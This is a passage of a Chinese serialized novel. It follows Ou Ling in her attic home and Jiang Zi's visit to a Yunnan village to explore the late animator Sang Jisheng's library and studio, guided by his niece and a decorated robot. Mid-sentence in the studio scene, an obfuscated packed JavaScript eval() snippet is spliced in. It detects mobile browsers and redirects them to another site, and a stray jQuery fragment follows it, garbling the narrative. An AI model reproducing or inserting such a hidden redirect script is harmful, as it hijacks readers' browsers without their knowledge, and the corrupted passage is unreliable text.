欧菱一时有些愣神,她想起,几年前,在录制一本建筑文化相关的有声书时,她曾读到过这样一个知识点:菱角生在水中,在古代,人们会把菱角挂在木制建筑物的飞檐,取水能防火之意,庇佑家宅平安。在她的新家,菱角或许也有此意,并且,多了一些趣味。 吱嘎吱嘎,吱嘎吱嘎,飞翔的鸟儿似乎在低声叫着。菱角,本是沉水的植物,如今,它飞在空中。躲起来的飞鸟,只要遇到风,就可以飞翔。在谁都看不到的地方,飞给自己看,不为了谁。 “我们也来飞”。欧菱说。 “怎么飞?”二更很疑惑。 “张开双臂,努力伸展,上下挥动,就是在飞。尽管不动,飞不起来,但是,也是在飞。”欧菱没有在意二更有点疑惑的目光,自顾自地开始“飞”。“人太重了,所以刚开始,需要轻轻抬起双臂,以很小的幅度动。然后逐渐地,把手臂张得很开,飞一会,整个人就轻了。”她自己从容地飞了几下,才放下手臂,对二更解释道,“她写过一首诗,就叫《飞鸟》。哦,原来,她或许不想做海豚,想做飞鸟。” 头顶上的飞鸟将停,二更接力,又一次拉动这颗菱角。一阵风适时地吹来,二更眼睛忽然如进了细小的沙子,忽地被激出眼泪。迷濛之中,她彷佛在眼睛不适的几秒中,看到一些恍惚的画面。 旧时教室里,一张小桌上,一个小女孩趴着,在挥笔写着什么。 《我的梦想》 “我的梦想是有一个属于自己的小房间。自从弟弟出生以来,我就失去了自己的小房间。我喜欢弟弟,但我不喜欢永远和弟弟共享一个房间,不喜欢最舒适的桌子,永远要让给弟弟......” 女孩写下这几句之后,停下了。 停了有段时间,她拿起橡皮,从结尾处开始,一个字一个字地小心地把句子擦掉。但这太麻烦。于是她重找了个作文本,把旧本子塞到了抽屉里,拿起另一本新的作业本开始写:我的梦想是...... 她又停住了,彷佛在思考。后来写了什么,二更看不到了。 旧本子在塞在书桌里,在一次辛夷参加的家长会,很偶然地掉了出来。于是,记载了女孩秘密的小本子,也成了辛夷的一个秘密。 而现在,这个被储藏在辛夷手中的秘密,不经意地在二更手中展开了。 几秒之间,因眼睛入风吹出来的泪在频繁地眨眼中甩了出来,二更再睁开眼,小阁楼里的一切又一次明晰起来。 她像吞下了一大口茶,需要消化,于是坐回沙发上,又一次和欧菱一起肩并肩。 “你喜欢昆明吗”,二更问,“还是更喜欢广州,或者其他地方?” 她大概猜到,如果没有辛夷的馈赠,在如此年轻的年纪,欧菱未必会有一处属于自己的房产。欧菱的家庭条件不错,父母对她很好,或许会有她自己的房产,但未必会如此安宁和贴心。 欧菱没有立即问答。长久以来,她知道,和弟弟相比,父母对自己爱多少仍有些区分。这也是她一直留在广州的工作的原因之一。但如果说到最喜欢哪里的气候,和大多数云南孩子一样,欧菱还是想做“家乡宝”。昆明这个地方,冬天冷不了几天,夏天比全国大多数地方都凉爽。欧菱还记得自己在广州的第一个夏天,先是被各种尺寸和繁殖能力的蟑螂吓到,后是被冰激凌的融化速度吓到。她从小区楼下便利店买一个冰激凌,还没走到电梯口,就化得很彻底。她不忍心浪费,于是拼命吃,或许是吃相太猴急,还逗笑了一起等电梯的一个小男孩和她的外婆。 奶奶病重的这一年,她辞职,回到昆明,闲了,常在翠湖坐着。她见过一个外婆给小女孩讲什么是荷叶:“尖尖的嫩嫩的,小时候能炒鸡蛋吃,张开了能给小鸭子们当伞;老了,荷叶飘在水上,水珠在荷叶上,就像珍珠”。 外婆说,“昆明真舒服。夏天可以看白鹭,冬天可以看红嘴鸥。不过它们现在还在西伯利亚。” 小女孩问,“那它们为什么夏天不在,冬天才在?” 外婆答,“因为西伯利亚冬天冰天雪地,所有动物都要穿他们自己的羽绒服才能过冬,红嘴鸥的羽绒服挺薄的,但它们可以飞,可以换地方,可以飞到温暖的地方避开寒冷的冬天。” 欧菱喜欢这样的昆明,这样的人们。她当然无数次地想过,要回来。 “当然喜欢昆明”,欧菱答。 “那你,擅长玩躲猫猫吗?”二更问。 “过去不太会”,欧菱答,“但现在有地方了,或许,也会像我奶奶那样吧,越来越擅长。” “一个人偶尔躲一躲,不是什么坏事”,二更说,“躲一躲,和自己聊一聊,心更静了,日子反而更舒服。再回来时,面对很多事也更从容。” “你也会躲吗?”欧菱问。 “嗯,去山上走走,去哪个小镇走走”,二更答,“在拥有一个自己的小家之前,我很喜欢往外跑。” “是啊,我也总是往外走,往外躲。在大家庭里,也会有一点点想逃的冲动,大概是平时工作的录音棚,太安静了。回到很多人一起说话,一起相处的房,越来越觉得拘束。只是,我不知道可以去哪里。” 二更将那颗菱角在手中残余的触感,又一次细细摩挲了下。现在,欧菱有地方了。一个栖息地,甚至,包括更多秘密的栖息地。她未再多言,秘密,就应该是秘密,就像密室,就应该是独属于谁的密室。 那就只祝福吧!女孩,恭喜恭喜! 16. 第十课(上): 桑寄生 用密语倾诉 01 他是桑树的孩子 好久没进村子了,此刻,老延正载着姜籽,开了将近两个半小时的盘山路,就快要抵达襄荷山南麓的一座村庄了。 二更有两个月没有见姜籽了。夏末,两人终于重逢。然而很快,二更又要因一项临时的工作暂离云南。 这次,只有姜籽与老延进山。任务有些特别,逝者是一位公众人物,一位被誉为“绿野森林童话大师”的动画短片导演。老延安排的负责同题人物纪录片的摄制组于两天前就抵达了。纪录片拍摄工作已经开始,将按照纪念名人的常规流程,拍摄人物成就、生平事迹。姜籽则要独自承担探访任务,延续对一位独居逝者的视角,挖掘更为细腻乃至隐匿的故事。 一路上,姜籽吐了晕,晕了吐,终于在行程最后半小时,肚子里彻底没了东西。她无力地歪着头,在副驾驶上归于平静,一路看着窗外森林。 满眼都是绿。 山间的绿,层层叠叠,彼此搭着彼此。所有的绿在盘山路上跳跃,像寒夜里草原上的篝火,随着车速,晃动着迷人的星焰。姜籽感受到平和与温暖,把绿看进去了,胃也舒服多了。 蘘荷,并不是一座山,而是一条西北横向东南的巨大山脉,延绵300多千米,纵跨5个温度带。由下至上,按照光照强弱,渐次形成了亚热带、温带、亚寒带、寒带4个垂直气候带。每一部分都有丰富、独特的植物资源。这里有全国47.2%的国家重点保护的野生植物,比如,领春木、水青树、秃杉、桫椤、红豆杉、云南榧树等国家级保护植物。一些植物在这里繁衍出丰富的谱系,比如仅杜鹃就有200多个不同种类。这里同时有占全国总数的59.4%的国家重点保护野生动物,小熊猫、针尾鼹、林跳鼠等原始孑遗动物得以躲过冰期存活下来,与大熊猫齐名的国宝滇金丝猴、珍稀濒危动物羚牛、雪豹、黑仰鼻猴等动物的身影隐匿其中。此外,山林中还藏着各种药材、香料,比如雪上一枝蒿、胡黄连、草血竭、雪莲花等。 桑寄生,就生在这片森林里,也最终回到了这片森林里。 他是突然莫名其妙地出现在森林里的。 桑寄生。傈僳族人。但最初捡到他的养父是一位佤族青年。 襄荷山阳荷村,居住着以傈僳族为主的数支少数民族,包括佤族、景颇族、汉族。其中,汉族人源于上世纪50年代深入云南的汉族干部前辈。阳荷村也是在那时建立的。汉族干部从深山里,将三、四个生计十分艰难的村子汇集到半山腰一处相对安全的地带,重新组成一个新的多民族共生的村子。几个民族虽然不同,却都信仰山神。不同民族山神居住的山头不同,但山神们都答应了。于是这个新的村子定名为阳荷,从1952年开始正式存在。 在村子成立的第二十年,桑寄生出现了。 桑寄生是一个孤儿。他在阳荷村背靠的那座山林里被捡到。那是阳荷村建村后,村民们新认的共同的山神。山中有一棵巨大的桑树。被发现时,桑寄生就坐在桑树下,只有三、四岁的样子。桑葚熟了,小孩身上、手上全是紫色。人们问他从哪里来,他不说话,也没反应,只是定定地看着捡到他的男人笑。 他就像是凭空出现的一个孩子,靠着山神赐的桑葚活了下来。 这棵桑树是阳荷村的桑树王,粗大健壮,二十几个人才能环抱住树干。在阳荷村的新村民搬到这里之前,几百年前,它就在这里生根发芽。搬来之后,阳荷村的第一任村民在树上系上祈福的红彩带,举办了祭拜仪式。人们相信,这棵巨大的桑树是山神的化形,他们之所以从深山里搬下来,来到这棵树的身边,也是注定的,是它召唤的。而桑寄生出现在这棵树下,他就是神灵送来的孩子。村民们收留了他,带他吃着百家饭长大。 桑葚的染色能力非常强,桑寄生被发现时,双手、小脸,甚至连鼻头都是发紫的。他身上的紫色,洗了一个多星期,才逐渐褪去。小孩的小脸变得清秀起来。村民们这才发现,孩子脸色明明很白净,瞳孔是褐色的,但细看,似乎又是紫色的。 他是桑树的孩子,所以叫桑寄生。村子里没有人桑这个姓氏,但村里的老人问了山神,山神说可以,于是,孩子的名字被正式登记了。 上世纪80年代,改革开放之后的几年里,有一些艺术家进襄荷山写生。阳荷村是周边远近闻名的民族团结村,村子的氛围好,环境也好,一位老师选择在村中小住。他的一些油画材料的边角材料被这个孩子看到,他竟然信手涂抹出了一幅绚丽的画。 老师敏锐地觉察到孩子的艺术天赋,又听说了孩子的身世,在感叹他身世神奇的同时,亦被村民的善良淳朴感动。老师与村中老人商议,将孩子带出山村,跟随他学习绘画。老人们又一次请问了山神,山神允诺。孩子被带出了山村。 在那之前,桑寄生一直没有开口说过话。在那之后,桑寄生开了口,却仍然不常说话。这没什么,他已经有了另外一种和这个世界交流的语言。 上世纪90年代初,这个孩子考上了云南省艺术学院,后来又去了杭州的国美深造。此后十多年间,桑寄生依靠传奇的艺术天赋,以植物为材料制作偶材动画,成为国内这一领域的开拓者。 2012年,40岁的桑寄生在杭州创立了自己的工作室。此后几年间,伴随着事业的巅峰期,桑寄生的身体却出现了问题,几次因气胸住院调养。 2020年,桑寄生返回云南,将工作室搬回到了家乡。在做这个决定之前,阳荷村又一次进行了搬迁。这次,是按照国家生态保护的需求,将被划入了国家级森林公园生态红线区内的原村庄进行了整体搬迁。新村位置位于交通条件与生态安全更好的一片山脚下的平坝。桑寄生借着这个时机,参与了新村的公共空间的改造与建设,出资建设了新村的图书馆、公共食堂、活动室、操场等。 前后算起来,桑寄生用了八年时间,见证了一座新村的诞生,也将他自小受到的恩泽化成一场新雨,洒向新村的大地。由于经历了两次搬迁,村子一次比一次更加开放,一次比一次更加积极地拥抱着时代的进步。因此,新村成立后,村民们也接纳了桑寄生的建议,将一部分新村公共区域对艺术领域的新秀们开放。村子的中心广场地带陆续建立了对外交流的文化空间与展馆、简易的艺术新村民宿舍、对外食堂、篮球场和运动馆。 2025年,桑寄生因气胸恶化去世。去世之前,他常年独居。这不意味着他孤单、无人照料。桑寄生的工作室与艺术新村民宿舍区同在一处。村庄日益热闹,年轻力量流动着不断注入。可以说,他人生最后几年,一直是被志同道合的新生力量陪伴着,保持了适度交流与独自生活并存的舒适姿态。 - - “我的人生从一棵树开始,从小,我就知道我的来处。 从小,我也知道我的归宿。 所以伤心了,孤单了,我就会回到森林。 可惜,这一生中,我回来的似乎有些晚。 无碍吧,总归是回来了。 像一场梦要结束了,也像新的故事将开始。 我走入森林,月光明亮,树叶明亮。一切都是明亮的,我可以看到很多动物,看到他们的眼睛。” ...... - - 姜籽在副驾读着桑寄生自搬回云南后唯一一次接受媒体采访的资料。这片报道的名字叫做《一直在银白色月光照耀下的树林里走》。她留意到记者的采访手札:桑寄生回避了面谈,而是选择电话采访。信号并不好,他解释说,自己在森林里。采访通话断断续续,桑寄生的思绪也是断断续续的。语速很慢,时常停顿,顿一下,就是一、两句话的空子,记者需要很耐心地等。起初,记者想围绕创作主题和风格进行一次艺术之旅,最后只能根据现实情况,勉强呈现出一场意识流的森林漫步。这已经很尽力了。报道按照桑寄生的意愿,没放他的照片。所有涉及人物介绍的地方,都用了一片树叶代过。 “真是一个传奇的人啊!真想见见他。”姜籽放下报道资料,悠悠地说。 “马上就到了”,老延回应。她注意到,自从开始读这份几年前的旧报纸,姜籽看起来就忘了肠胃的痛苦了。这次,姜籽将独自去挖掘桑寄生的故事。二更临走前,交代了姜籽一些锦囊。简单总结就是,做提纲,少说话,多多忽闪着她那双圆溜溜又无辜的大眼睛,对着讲述者凝视。姜籽背熟了,但不十分有把握。 老延原本很担心姜籽的身体情况,但目前看来,似乎还好。两人在村子的公共区域停车,停车场居然全满了。 隔壁村子种甘蔗,一个月前办了一个真人版偷甘蔗的逃跑活动。一时间,很多人专程开车来山里甘蔗林偷甘蔗,临时占用了阳荷村的停车场。村子一下子变得更热闹了。 新阳荷村的中心是两个很大的篮球场。摄制组的无人机还在天上飞,拍摄山林与村落的空镜头。离篮球场最近的建筑是村里的图书馆,三层建筑,外部饶了一道白色的回形楼梯,像是给这栋楼缠了一道螺旋形的蕾丝花边。按照老延提前打点好的行程,姜籽可以先到图书馆三楼的图书室,等待这次桑寄生人生之旅的向导。安置好姜籽后,老延前去与摄制组汇合,姜籽则慢慢地一层一层独自上楼。 图书馆一层,是一间宽大的图书室与一间民族乐器展厅。后者既是展厅,也有传统乐器的收纳功能。比如展,厅中的木鼓,平时做展品,在节庆时会取出来当做庆祝仪式的重要乐器来使用。这类古老的节庆乐器,通常会被收纳在村长或是有声望的老人家中,甚至要当半个神灵供奉。过去,它会被专门埋在家里的院子里,或是放在某个僻静处,逢年过节要烧香,只在举办重要仪式时才会隆重地请出来。木鼓能出现在村子的公共图书馆,表明村里人对新村这类新型公共空间的认可。 二层也有一件小型的农业图书室,此外还有放映室、会议室。二层有一个狭长的露台,二、三十盆九尾狐多肉,有长有短,依次排开,各自展示着姿态不同的尾巴。最长的尾巴已经一米多长,像个白胡子老头,一边晒暖,一边抽着长长的水烟筒。最短的才刚扦插,个头很小,像两个月小土狗的尾巴,花盆倒是很大,看起来是被寄予了厚望。这些大大小小的花盆,大多是动物造型,一只独立的九尾狐被栽在猫咪造型的花盆里,没错,猫是独行动物。也有八、九十只扦插的小尾巴,紧凑地依偎在一起,一起住在一只狐狸造型的花盆里。不知哪位园丁,设计如此周全,姜籽感受到一种很欢乐的喧闹。 三层,是面向村里面孩子的儿童图书室。图书室室内的设计,如果俯瞰,很像人的一只眼睛。上下眼睑分别是半弧形的阅读座位。中间的眼球则是一个环形双面书架,内外都放着少儿读物。姜籽看看时间,她大概要在这里等个半小时,于是决议好好看看。她朝中心处的眼球中走,环形书架上,自下而上,按孩子的身高,依次摆放着不同年纪孩子适合的儿童、青少年读物。姜籽个子不高,打算从青少年文学里抽一本诗歌选集,动手时,忽然发现书架上有一张明信片随意地塞着,露出一块小三角。小三角像一种记号,也像是一道谜语。她走近,轻轻地抽出,上面写着字: 青花瓷 在轮下 远离尘嚣 咏叹生死 字迹很大,挤满了整张小卡片,四四方方的。姜籽觉得写字的人肯定是个国字脸。这内容呢也十分抽象,有点像,诗? 在斜对角线的书架上,又有一张藏着的小三角。她又抽出看: 一把雨伞给这天用 狐狸那是已是猎人 诱拐 孤独的你 这次的字迹很瘦长,用了带香气的笔芯,字号均匀,字迹下还花了几多小花。 移步到更远一些的地方,从一本厚厚的植物百科图册中,她又抽出一张: 阴沉沉的天 从海到海 一生太长了 等等,还有几张。 萌芽 初恋 心动 牵手 惜别 复活 疯狂 玩笑 输赢 盆景 - - 《最后一课》 我坐在博得拉河畔, 哭泣 我的1977 爱情是最后一座桥 爱情是有毒的 - - 一男一女 走过青春 爱与孤独 迟暮鸟语 最后一张,姜籽反复看了几遍,都没有看懂。 寻羊冒险记 玻璃球游戏 送菜直升机 僧侣的婚礼 这都哪跟哪儿啊?这些卡片上的内容不着四六的,字迹也各自不同。视线与心神都在这几张让人摸不着头脑的纸片上时,一个女孩走进了图书馆。 “猜到了吗?”女孩的声音像薄荷味的冰淇淋,清清爽爽的化开了室内的沉静和湿热。 关关,桑寄生的侄女,之一 -- 因为桑寄生在村子里有许多个父亲、母亲、叔叔、婶婶,也就有很多的侄女。她本名叫谷桉,叫得快一些,就是关关。所以,从上学开始,她就有了关关这个名字。女孩看起来和姜籽年纪相仿。她留着齐刘海,短发到肩,眼睛很大,眼角尖尖,一双标准的杏仁眼。说话时,嘴角天然得带一些弧度,让人感觉很亲近。她很像森林里的一只小动物,眉眼嘴角的那点弧度,还带了种坦荡的野性气质。姜籽一见,就觉得赏心悦目的。 只是,她的脸上依旧笼罩着一层层困惑。她只得先按下对女孩的赞赏,无奈地摊摊手,摇了摇头。 “这是我叔叔和小孩子们玩的游戏。”关关说,“的确很不猜,因为所有的词都是,是现成的,所以的组合方式都很随机。你们手里拿到的那几张,应该是初中生写的。毕竟他们个子高一些,认识的字多一些,所以句子可以拼出三、四行,甚至更多。但如果抽到的是两三行的卡片,位置又低,就是再小一些的孩子写的。” “这是,书名?”姜籽问。 “猜对了!”关关拍了下手,表示鼓励。 桑寄生每年都邀请一家诗歌教育机构来村里做一次诗歌教育。孩子们写,他也一起写。这个书名游戏是诗歌教育的一部分,作为活跃课堂气氛的前奏来用。有个脸圆圆,眼睛也圆圆的女老师,名字叫任豆。她带着桑寄生和孩子们一起从书架中挑选能够凑成一首诗的书名。为一本书,找另一本书或者更多的书,让书本和书本之间能够对对子,做朋友。 这个游戏,原本是任豆老师为了解决问题想出来的。村子里的图书馆建好不久,书越来越丰富,但孩子的积极性不高。三层的图书馆更多是作为自习室使用的,很多孩子对书提不起兴趣,根本想不到去摸一模看一看。任豆和桑寄生一起商量,做了这个游戏设计,效果很好,很多孩子玩着玩着,对开始对书感兴趣了,不再和书有距离感了。临走前,她告诉大家,无聊了,不开心了,即便她不在,大家也可以来这里玩这个游戏;一个人,两三个人,都可以玩这个游戏。就当是她的想念了。 图书室的藏书量相比城市里的儿童图书馆,自然不算多,但给村里的孩子阅读、玩游戏,已是绰绰有余。 在关关谈论书名游戏的时候,姜籽又忍不住,一直盯着关关的衣服看,准确来说,是贴在深紫色短袖上的一个袖章,上面是百香果图案。 哦,这原来,也是位陌生的故人啊。 那是两年前的事了。姜籽刚回到昆明不久,邮箱收到一封邮件,来自“Y2K布灵布灵协会”。这是一帮喜欢Y2K风格的年轻人创办的协会,即将在翠湖举办第一场Y2K复古派对。所谓Y2K,是指千禧年前后那一代年轻人钟爱的流行风格,如具有科技感、未来感,或是带有金属、荧光、透明特色等流行元素的服饰、音乐乃至生活方式。这些元素反应了他们对于未来生活与科技的憧憬和幻想。协会看中了姜籽曾为一场植物主题展览绘制的一幅画作,写信询问是否可以有偿授权。他们打算把这朵花的图案做成入场的纪念臂章。 那张被青睐的图,是百香果的花。 看过百香果或是西番莲属植物开花的人,很难不对其印象深刻。它们的形状与颜色乃至神色,都是妩媚妖艳风格的。花朵色彩明艳饱满,对比度强烈,花瓣呈现波浪感的条状,花瓣、外副花冠、内副花冠在视觉上形成炫目的组合,花开的姿态也热烈奔放,完全不吝啬对人类直白的挑逗。如果以花拟人,百香果的花就是穿着瑰丽华服、舞姿魅惑的异域美人,眼波里都是迷情。 姜籽应允了,但因为时间原因,没能去成聚会,后来也渐渐把这事忘记了。没想到,今日,穿越森林,竟看到了臂章的成品。 姜籽正在犹豫要不要开口问问,却被关关的提议直接打断了。 “我带你去我叔叔的工作室看看吧。”关关转身,一指图书馆旁边一片竹林。竹林中,隐隐约约能见一个洞。 那......好像,真的是一个洞啊!姜籽有些不解,面对这个洞,百香果被迅速得忘记了。 几分钟后,关关带着姜籽站在了洞门口。这洞,在不久前老延团队完成的航拍里,看上去很像是一个蛋,一颗产在草地上银白色的蛋,又或者,像一朵闪着荧光生在树林之中浑圆的菌子。洞有一米二、三高,人需要低个头,钻一钻,才能进去。洞的外表看起来很原始,不加任何精致的修饰。 姜籽犹豫是否要动。身旁的关关并不言语。这时,灰暗洞中,晃悠悠走来一个什么东西,中空,有两个圆溜溜的东西在闪烁。几秒后,一只白色的的机器人,现身了。 “你好。请进。”机器人顶着一个圆形的蘑菇头,头顶被贴上两个猫耳朵,机械手臂本来是有人形手指的,但被套上了一对内里掏空的网球,像是这几年流行的仿真机器人的机器猫版本。 姜籽一时太过惊讶,弯腰揽住关关开始哈哈大笑。快把眼泪笑出来的时候,忽然想起来,自己还在工作。她不好意思地站远一些,清了下嗓子,好好道了歉。又仔细 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294819|198549||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看看这位机器人,他原来的样子应该也是身形流畅,十分彰显科技感的。“太科技了,我叔叔不喜欢。所以我们给他打扮了一下,每个人都往他身上加了点东西,结果,就成这样了”。 关关轻轻推着姜籽的背后,引她迈入了这间奇特的工作室。 洞穴很短,只是装饰性质的,低个头,走几步,就能进来了。内里是一间十分宽敞的工作室,空间很大,但借助区间分隔,形成了迷宫般构造。很久没有玩过这种迷宫游戏了,二十多年前,姜籽在迷宫书里用笔体验过这种乐趣。如今站在一道道区隔面前,过去的技能已经完全忘记了。 “别急,有他。”关关示意姜籽跟着机器人走。 “因为我叔叔-- 哦,到了这里,我还是叫他‘桑导’-- 桑导去世后,我们在整理这座纪念馆的时候,对于之后谁来承担导览的任务,讨论了很多次。包括我在内的工作室成员多少都有一些社恐。我们不是擅长和别人交流的那种人,大家也都有自己的工作。所以,就有了它。我们叫它,‘阿桑’。” 阿桑发话了,“接下来,请随我游览桑寄生导演的动画短片艺术生命旅程。” 阿桑的声音,有一些怪异的沙哑,像一只吞下了青蛙的猫。关关解释,这是桑寄生自己选的。起初,他甚至希望阿桑带一些口吃。然而效果着实不好,被众人驳回了。 “说到动画短片,或许,您会知道《三个和尚》。没错,这是我国经典的动画短片,从古谚语中的三句话引申成了一部动画。这类广为人知的经典动画短片其实并不少,比如,还有《崂山道士》,国画山水背景与立体人物相结合的一部艺术风格独特的早期作品。 动画短片是动画长片的基础。动画的英文,根源于拉丁文中的anima,是灵魂的意思;animare是赋予生命的意思,即使之活起来,由此我们可见动画的精髓 - - 动画就是创造生命。这些‘生命’通常会在幕布上延续40分钟以内,以10~15分钟长度居多。 二战后,动画长片开始逐渐商业化,而短片,虽不像长片那样受人瞩目,也在实验性、多元性等角度找到了施展空间。 桑寄生的动画短片,以植物标本为载体,演绎中式的森林童话。这类作品常被归类至偶类动画。20世纪60年代到80年代,剪纸动画、真沙动画、玻璃绘制动画、黏土动画、玩偶动画等多种动画形式在短片领域涌现,偶类动画短片是其中的一种,常见的有木偶、黏土偶、布偶。 上世纪80年代,中国动画短片呈现出丰富多彩的表现,尤其是对各种民族化风格的探索。代表作品《镜花缘》就是经典的偶类动画。随着时代发展,塑胶偶、海绵偶、毛线偶等新材料出现了,每一种材料都具有别样的风格。桑寄生独创的植物标本动画,也被归入此类,特称为植材动画。也有一些人认为,桑寄生开辟了一条独一无二的新道路,将其另分为标本类动画。 无论是哪一种材料做偶,从制作到拍摄,都需要动用很多资源,耗时长久。比如,人偶动画的中,人物的颤抖、流汗等动作,看似简单,完成难度却很大。上美的早期作品做出了珍贵的尝试,留下了宝贵的文化遗产。” 阿桑带着两人在迷宫展室中穿行,时不时停顿下来,引导人观看悬臂上悬挂的短片。他在介绍时,会适时挥动一下两只被改造后显得笨笨的网球手,像一只长了机器臂的铁甲招财猫。姜籽很想去摸摸它的手臂,但每次都克制住了。 “您即将走入的这条长廊,展示了桑寄生导演的部分植材作品,包括短片节选视频,与植材标本。 您首先看到的是桑导的大学毕业作品,也是他早期的代表作,叫做《乡愁》。 作品灵感来自于桑导在上世纪90年代读大学时的室友的一段记忆。这位室友出生在长江边的竹乡。记忆中的青春期,就是一人,一条江,一个潮湿的城,一个薄雾未散去的清晨,他坐在江边小店的长条凳上,喝一碗热乎乎的红糖酒酿蛋。室友在大学时期参军,并将生命永久留在了冰雪高原上。 《乡愁》这个作品,是桑寄生第一次用植物为材料讲故事的试验。四川的竹子和芦苇是主要的材料,它们呈现竹林与芦苇荡,也表达薄雾与长江,亦蒙上了云贵高原上的霜雪。作品发布后,引发了偶类动画分类与材料应用方面的诸多讨论。桑寄生认为,用材只是手段。短片内在的精神底色与艺术气质,才是最独特的标签。 在创作《乡愁》之前,桑寄生已经剪了多年的树叶了。我们可以将其视为桑寄生早期灵感的来源。您可以理解成,用叶子做剪纸或者雕刻。这些早期作品有一些三星堆文物一般迷离的气质,因为大多数叶子的形状本身就不是圆润的,信手剪下的图案往往带着大自然最本真的设计,完全超乎人的预料。 您可以在我们的手工体验台,用备好的美术纸亲自尝试一下。这些锥形,匙形,卵形,长圆形,菱形,肾形,三角形,扇形等的叶子上,即便您信手剪一个很中规中矩的图样,待您打开它,大自然雕琢的天然叶形,也会让剪纸成品带上神秘莫测的气质,剪出的图像,或许也是出乎您期待的。 捡叶子,是桑寄生排解青年时代孤独的方式,也是他最早利用植物开始创作的契机。桑寄生曾在受访时提及,从叶子开始创作,与他的童年记忆有关。在他长大的山野村落,人们会用叶子做乐器,吹出声响来自娱自乐,这种娱乐活动又被称为‘吹叶’。叶子与人是很亲切的,可以吹,当然,也可以作为剪裁的材料。可惜的是,这些早期作品并未存留下来。我们无法想象那些初期不完美的小怪物是什么模样。但这是之后他作品的起点,是很多作品的灵感来源。 在这里,您可以看到来访者剪出的一些树叶作品,您可以看到他的一些早期手绘手稿。” 姜籽停下来细看,阿桑检测到客人的脚步,也停了下来,面部屏幕上打出一群小鸭子在原地等待的图样。 几张手绘草稿上有他的签字。桑寄生的字,坦白说,很奇怪。与其说是字,不如说是,三个圈圈叠在一起,下面再加一个歪不留丢的奇异图形,隐隐约约,能看得出是个“桑”字。如果不是提前知晓答案,姜籽绝对猜不出,这圆滚滚的圆圈套圆圈是什么寓意。 检测到客人开始挪步向前,阿桑继续开始介绍。“这些早期作品,大多是单独的小品,尚未形成体系。不过,也各有意趣。 其中一幅,名叫《拍拍》。拍拍是一个成年人面对恐惧,想象出的一个朋友,灵感源自于《阅微草堂笔记》中对于一个巨型红毛怪物的简单几句的勾勒。拍拍是最早的短片作品之一,所用的材料是风干后帝王花的花瓣,借鉴皮影戏的方式,以层层拼叠的拼接,展现出一个巨大红棕色神兽探出画框,试图与人拥抱的姿态。这部很短的小片,主角造型上既有皮影戏的风格,也借鉴了云贵少数民族刺绣的技法,如打籽绣、双线绣等。这一阶段,桑寄生的短片侧重多种西南民族艺术的游艺与追溯,故事情节简单,内容并非原创,表达的内容相对有限。 但这些轻巧的艺术小品,为他接到了一些商业性的广告创意设计与非遗专题的纪录片邀约,促生了桑寄生工作室的创立。在杭州近八年时间里,工作室逐步找到了艺术与商业之间的平衡。很多商业或政府购买的公益广告,广泛投放于江浙地区的公交车、地铁、商圈等各处。 在杭州的近十年间,桑寄生的创作迈入了鼎盛时期。被誉为动画短片界“蓝宇”的爱情三部曲,是他尝试大量使用彩色的鲜花标本与永生花制品为材料,包括制作难度较大的花材,如粉花风铃木等。三部曲中的最终曲,剧情是这对恋人的离散。影片中的人物都是冰块凝固的方式制作的,呈现出一种流光轻盈、琉璃易碎的氛围。观众会感受到一种流动的、不确定的光影,这是刻意为之的结果。 桑寄生导演后期的代表作品《熹》,用植材的舞蹈与光影来阐释中式阴阳哲学,讲述了一个老守墓人与守山人最后归于深山的故事。《熹》的植物用材都是阴生植物,作品灵感来自于他小时候随一位养父进山采药的经历。在高原山阴处,生长着阴生和半阴生的植物,许多可药用。它们能在低光照的环境下生存,充分吸收光纤,如雪胆、黄精。作品中的光源,不是自然光,也不是摄影棚里的光,用一个太阳能板链接到阳台,并接入一只落日灯。灯直接由太阳提供动态的光源,随着阳荷村的日出时刻,精准地亮起,追随日落时刻精准地灭掉。但是在日落之前,依靠余晖闪亮时,很不稳定,所以灯会自然的抖动,就像过去人们点蜡烛,蜡烛跳火星时烛光的抖动效果。这些不同的日光效果,被应用于短片之中。 现在,我们来到了放映厅。我们整理了桑导的作品,从1997年一直到2024年。您可以详细观看,也可以在这里休息一下。感谢您一路相随!” 阿桑的任务顺利完成,说完再见,就转过身,跑去一个角落充电了。姜籽朝着他的背影挥挥手,这才发现,阿桑屁股后面贴上了皮卡丘的尾巴,即便是一个机器人,也有变得像古老话传说中的“四不像”了。 17. 第十课(下):桑寄生 用密语倾诉 02 像一只松鼠,回到森林 走累了,是可以坐一坐了。 姜籽望向放映厅后方十几把不同类型的椅子,它们歪曲扭八地组成了一支散漫的队伍。这是桑导带着关关从镇上市集上收来的老椅子,有藤椅、老的摇椅、长款靠背椅等等。每个椅子上都放着一个木质的小盒子。 “这也是展览的一部分,每一个盒子里,都有桑导平时在工作时会用到的东西,可以帮助来客更好地了解他是一个什么样的人。请随便坐,并且打开盒子看看。”关关代替阿桑完成了最后一句解说词,并做了一个请的手势。 姜籽走向一个旧的椅子。两米多长,老式的斜靠背木头长椅。红漆已经褪色了,变成介于枣红与橘黄之间的颜色。姜籽看着很顺眼。她坐下,自然地靠到旧椅背上,立马感受到腰背都得到了温和的支撑。这反而是她最近坐过的最舒服的一把椅子了。腿边触手可及的地方,有一个醒目的绿色木盒子。 她打开盒子,里面是一大堆干玉米粒。色泽金黄,只是有些干瘪了。 这是什么工作工具?难道是占卜用的?姜籽对着玉米粒发了一会儿呆,实在猜不出,只好抬起头,忽闪着大眼睛看关关。 “他口袋里总是有一堆干玉米粒,用来给我们的作业打分。他很精细的,设定20颗玉米粒代表最好。如果遇到很满意的作品,或者某一个很好的想法,很棒的设计,他会很兴奋地喊我们到一个大桌子前,掏出来玉米粒,一颗一颗慢慢摆,摆够20个。我们呢,就要等着这个做事慢悠悠的人,一颗一颗地玉米粒摆出来。 真是,有点无奈啊。我每次看他点评新人作业,都会觉得,啊,一只树懒在讲台上慢动作。是的,就是动画电影里那只做事很慢的树懒。但他同时也很严格,会详细地指出来我们的作品中,哪里还不够好,可以如何精进。这些建议切合实际,的确很有用。所以,我们又不得不等,不得不耐心地听。” 